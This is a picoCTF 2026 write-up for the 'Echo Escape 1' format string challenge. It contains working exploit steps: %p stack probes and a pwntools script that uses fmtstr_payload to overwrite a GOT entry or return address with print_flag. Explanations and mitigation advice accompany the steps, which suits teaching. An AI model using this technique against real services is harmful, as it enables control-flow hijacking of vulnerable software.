Echo Escape 1 picoCTF 2026 Solution

Published: March 20, 2026

Description

The secure echo service welcomes you politely, but unsafe formatting still leaks control. Download vuln and vuln.c, then turn the echo back against itself.

Download vuln and its source code.

Read the source to understand how it echoes input.

bash
cat vuln.c
bash
chmod +x vuln
  1. Step 1Confirm the format string bug, check mitigations
    Run checksec first - if Full RELRO is on, the GOT is read-only and you must overwrite the saved return address instead. Then probe with %p to confirm the bug.
    bash
    cat vuln.c
    bash
    checksec --file=./vuln
    bash
    echo '%p.%p.%p.%p.%p' | ./vuln
    python
    python3 -c "from pwn import *; print(cyclic(100).decode())"
    Learn more

    A format string vulnerability occurs when a C program passes user-controlled input directly to a format function like printf(buf) instead of safely using printf("%s", buf). The format string controls how printf reads the argument stack: specifiers like %p (print pointer), %x (print hex), and %n (write the number of bytes printed so far) all consume values from the stack regardless of what arguments were actually passed.

    Sending %p.%p.%p.%p as input causes printf to walk up the stack and print raw pointer values. Each value that appears is a word from the call frame - return addresses, saved registers, local variables, or your own input buffer. By counting which positional argument (%6$p, %7$p, etc.) produces your known cyclic pattern, you pinpoint the exact stack offset where your buffer lives, which tells you where to aim writes.

    This class of bug was extremely common in the early 2000s and remains a category in CTF competitions today. Real-world examples include vulnerabilities in syslog wrappers and network daemons that echoed user input verbatim. MITRE classifies it as CWE-134 (Use of Externally-Controlled Format String).

  2. Step 2Find the address of print_flag()
    Use objdump or pwntools to find the address of the print_flag() function - the function that reads and prints the flag.
    bash
    objdump -d vuln | grep print_flag
    python
    python3 -c "from pwn import *; e = ELF('./vuln'); print(hex(e.sym['print_flag']))"
    Learn more

    objdump -d disassembles the binary and prints each function's name and address from the symbol table. Because the binary is not stripped (CTF binaries typically leave symbols intact), print_flag appears by name. The address shown is the virtual address the function will occupy when the binary is loaded - assuming no ASLR or a binary where PIE (Position-Independent Executable) is disabled.

    Pwntools' ELF class parses the ELF symbol table automatically and exposes function addresses through the sym dictionary and GOT/PLT entries through got and plt. This is faster than parsing objdump output manually and integrates directly into the exploit script. You can also use nm vuln | grep print_flagor Ghidra's symbol browser for the same purpose.

    If PIE is enabled, the binary is randomised at load time and you first need a leak of the binary's base address (using %p reads from the GOT or stack) before computing the final address. Running checksec --file=./vuln shows whether PIE, stack canaries, or NX are enabled.

  3. Step 3Overwrite the return address with a fmt string
    Let pwntools find the offset for you with fmtstr_brute, then use fmtstr_payload to redirect printf's GOT entry (or the saved return address if Full RELRO blocks the GOT route) to print_flag.
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    
    # 1) Auto-discover the printf offset by sending probe payloads
    def conn():
        return remote("<HOST>", <PORT_FROM_INSTANCE>)
    offset = fmtstr_brute(start_offset=4, max_offset=20, conn=conn)
    log.info(f"fmtstr offset = {offset}")
    
    print_flag = e.sym["print_flag"]
    p = conn()
    
    # Big targets (like a high-half ret addr) need %hn (2-byte) writes;
    # fmtstr_payload picks the smallest specifier that fits each chunk.
    payload = fmtstr_payload(offset, {e.got["printf"]: print_flag})
    # Or, under Full RELRO where the GOT is read-only:
    # payload = fmtstr_payload(offset, {saved_ret_addr: print_flag}, write_size='short')
    
    p.sendlineafter(b"> ", payload)
    p.sendlineafter(b"> ", b"exit")  # trigger the next printf / return
    print(p.recvall(timeout=3))
    EOF
    Learn more

    Pwntools' fmtstr_payload(offset, writes) automates the most tedious part of format string exploitation. It builds a format string that uses %n-family specifiers to write arbitrary values to arbitrary addresses. The offset parameter tells it which positional argument in printf's argument list is the start of your buffer. The writes dictionary maps target addresses to desired values. The function handles splitting writes into byte-width chunks (%hhn, %hn) to minimise output length.

    Two common write targets exist: the GOT (Global Offset Table) and the saved return address. Overwriting printf's GOT entry with print_flag's address means the next call to printf anywhere in the program actually calls print_flag. Overwriting the return address directly redirects execution when the current function returns. The GOT approach is often easier because its address is fixed and known - unless the binary was linked with Full RELRO (-Wl,-z,relro,-z,now), which marks the GOT read-only after dynamic linking. checksec tells you which is the case; under Full RELRO you must hit the saved return address instead.

    %hn writes a 2-byte short instead of a full 4-byte int. When the target value is large (a 64-bit address with non-zero high bytes), fmtstr_payload splits the write into per-byte (%hhn) or per-short (%hn) chunks so the printed character count stays manageable. Pass write_size='short' if the auto-selection produces something too long for the input buffer.

    The %n specifier writes the count of characters printed so far to the pointed-to integer. By carefully prepending padding (using %<width>c to print a specific number of characters), attackers control exactly what value gets written. Modern systems disable %n in some libc configurations, but CTF challenges are set up to allow it. This is why safe coding practices demand printf("%s", user_input) always.

  4. Step 4Read the flag
    After the format string overwrites the return address (or a GOT entry) with print_flag(), the server prints the flag when the function returns.
    Learn more

    Format string vulnerabilities combine arbitrary read (via %p, %x, %s) and arbitrary write (via %n) into a single primitive. This makes them uniquely powerful: in one interaction you can leak addresses to defeat ASLR and then overwrite control-flow pointers to redirect execution - all without needing a separate memory corruption step.

    In real exploit chains, format string bugs are often chained with other vulnerabilities. For example, a format string leak defeats ASLR/PIE, then a subsequent buffer overflow uses the leaked addresses to build a ROP chain. The combination is sometimes called a two-stage exploit. CTF challenges like this one isolate the format string stage so you can practice the technique cleanly.

    Mitigation in production code is straightforward: always pass a literal format string as the first argument to printf and related functions. Compilers warn about this with -Wformat-security, and static analysers like clang-tidy flag it automatically. Stack canaries and RELRO (Read-Only Relocations, which makes the GOT read-only) raise the bar for attackers but do not eliminate the vulnerability entirely.

    For deeper reading, see Format String Bugs for CTF and Pwntools for CTF.

Flag

picoCTF{3ch0_3sc4p3_1_...}

The echo service has printf(buf) - a format string vulnerability. Use pwntools' fmtstr_payload() to overwrite the return address or a GOT entry with the address of print_flag(), then send 'exit' to trigger it.

How to prevent this

Format string with %n write primitive plus a print_flag() function reachable by hijacking control flow. Cut either path.

  • Always pass a literal format: printf("%s", buf). Build with -Werror=format-security; the compiler will refuse to link the bug.
  • Enable full RELRO (-Wl,-z,relro,-z,now) so the GOT becomes read-only after startup. fmtstr_payload can no longer overwrite GOT entries to hijack future printf/puts calls.
  • Strip out %n support with -D_FORTIFY_SOURCE=2. Most binaries don't need write-via-format and turning it off is a free defense.

Want more picoCTF 2026 writeups?

Tools used in this challenge

Related reading

What to try next